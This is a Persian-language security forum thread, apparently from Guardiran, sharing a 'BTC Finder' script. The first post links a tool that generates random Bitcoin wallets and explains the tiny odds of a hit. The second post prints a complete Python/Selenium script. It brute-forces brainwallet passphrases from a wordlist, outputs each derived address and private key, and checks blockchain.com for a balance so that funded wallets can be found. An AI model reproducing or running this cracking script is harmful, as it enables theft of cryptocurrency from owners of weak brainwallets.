ts icon
سرور تیم اسپیک گاردایران
Goodzilam

جستجوگر BTC

پست های پیشنهاد شده

درود،

چند ماه پیش اسکریپتی نوشته بودم که ولت های بیتکوین به صورت رندوم ایجاد میکرد و موجودیشون رو چک میکرد

به این صورت توضیح بدم که با این اسکریپت درک میکنید چرا احتمال ایجاد دو ادرس بیتکوین با هش های یکسان نزدیک به 0 هست و تقریبا هیچوقت دو حساب متشابه ایجاد نمیشود !

حدود (2 به توان 256) تا آدرس بیتکوین وجود داره و شانس پیدا کردن 1 ادرس به همراه موجودی چیزی حدود: 2x10^15/(2^256)=2x10^-62 هست :) !

به هر حال ... 

نصب پیش نیازها:

ف.یلتر ش.کن
Python 3 یا بالا تر
OS : Linux
pip install selenium
apt-get update
apt install chromium-chromedriver
cp /usr/lib/chromium-browser/chromedriver /usr/bin

 آدرس اسکریپت:

https://raw.githubusercontent.com/Goodzilam/BTCFinder/master/main.py

اگر از سرویس زیر استفاده نمیکنید نیاز دارید تا بخشی از  کد که مشخص شده رو تغییر بدید ! به این صورت که، ادرس پوشه ی فایل های دانلودیتون رو با ادرس از قبل نوشته شده تغییر بدید !

file = open("/content/output-onlinehashtools.txt", "r")  # replace your download directory path   <========
تغییر پیدا میکنه به :
file = open("ادرس/فولدر/دانلود/شما/output-onlinehashtools.txt", "r")

برای راحتی کار و نداشتن نیاز به تغییر کد، پیشنهاد میکنم از سرویس Google Colab استفاده کنید، گوگل محیطی آماده برای اجرای برنامه ها در اختیار ما قرار میده، 12 گیگ رم و 70گیگ حافظه به صورت رایگان !
آدرس Google colab:

https://colab.research.google.com/

 

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

درود

اسکریپت زیر با کمک دیکشنری و یا لیست کلمات ( بروت فورس یا دیکشنری اتک)

ولت های بیتکوین ایجاد میکند و موجودی هر حساب رو نمایش میدهد.

توجه داشته باشید که اعضای انجمن گاردایران هیچگونه مسؤلیتی در قبال استفاده شما از اسکریپت زیر به عهده نخواهد گرفت!

from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
import sys
import time
import random
import string

# using dictionary, for BruteForcing the used passphrases to create BTC Wallet
path = input('wordlist full path: ')
file = open(path, "r")

# driver settings
sys.path.insert(0, '/usr/lib/chromium-browser/chromedriver')
chrome_options = webdriver.ChromeOptions()
chrome_options.add_argument('--headless')
chrome_options.add_argument('--no-sandbox')
chrome_options.add_argument('--disable-dev-shm-usage')
driver = webdriver.Chrome('chromedriver', options=chrome_options)

# main code
url = "https://brainwalletx.github.io"
driver.get(url)
print("Strats in 10 sec...")
time.sleep(10)
driver.find_element(By.XPATH, '//*[@id="togglePass"]').click()
driver.find_element(By.XPATH, '//*[@id="toggleKeyCode"]').click()
for line in file:

    # brute forcing process
    pwd = str(line.strip())
    driver.find_element(By.XPATH, '//*[@id="pass"]').click()
    driver.find_element(By.XPATH, '//*[@id="pass"]').clear()
    driver.find_element(By.XPATH, '//*[@id="pass"]').send_keys(pwd)
    time.sleep(2)
    public = driver.find_element(By.XPATH, '//*[@id="addr"]').text

    # Address Details
    print("public: "+str(public))
    print("priv8 : "+driver.find_element(By.XPATH, '//*[@id="sec"]').text)

    # checking address balance
    url = "https://www.blockchain.com/btc/address/"+str(public)
    driver.execute_script("window.open('');")
    time.sleep(1)
    driver.switch_to.window(driver.window_handles[1])
    driver.get(url)
    balance = driver.find_element(
        By.XPATH, '//*[@id="__next"]/div[3]/div/div[3]/div[1]/div[1]/div[2]/div/div[6]/div[2]/span').text
    time.sleep(2)
    if str(balance) != "0.00000000 BTC":
        print("balance : "+str(balance))
    else:
        print("****Empty Balance****")
    driver.close()
    driver.switch_to.window(driver.window_handles[0])

 

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

برای ارسال دیدگاه یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید دیدگاهی ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در سایت ما ثبت نام کنید. عضویت خیلی ساده است !

ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید

ورود به حساب کاربری